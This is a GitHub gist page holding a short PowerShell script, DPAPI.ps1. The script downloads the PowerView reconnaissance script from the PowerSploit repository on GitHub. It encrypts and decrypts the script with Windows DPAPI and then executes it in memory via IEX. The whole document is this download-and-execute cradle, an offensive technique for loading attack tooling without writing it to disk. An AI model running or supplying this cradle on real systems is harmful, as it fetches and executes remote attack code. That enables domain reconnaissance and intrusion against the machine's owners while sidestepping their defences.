Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
Created July 31, 2017 21:16
Show Gist options
  • Save HarmJ0y/06502493a5ad7c110a4e9f1a273e7f0a to your computer and use it in GitHub Desktop.
Save HarmJ0y/06502493a5ad7c110a4e9f1a273e7f0a to your computer and use it in GitHub Desktop.

Revisions

  1. HarmJ0y created this gist Jul 31, 2017.
    7 changes: 7 additions & 0 deletions DPAPI.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,7 @@
    Add-Type -AssemblyName System.Security
    $Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')

    $Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)
    $EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)

    IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))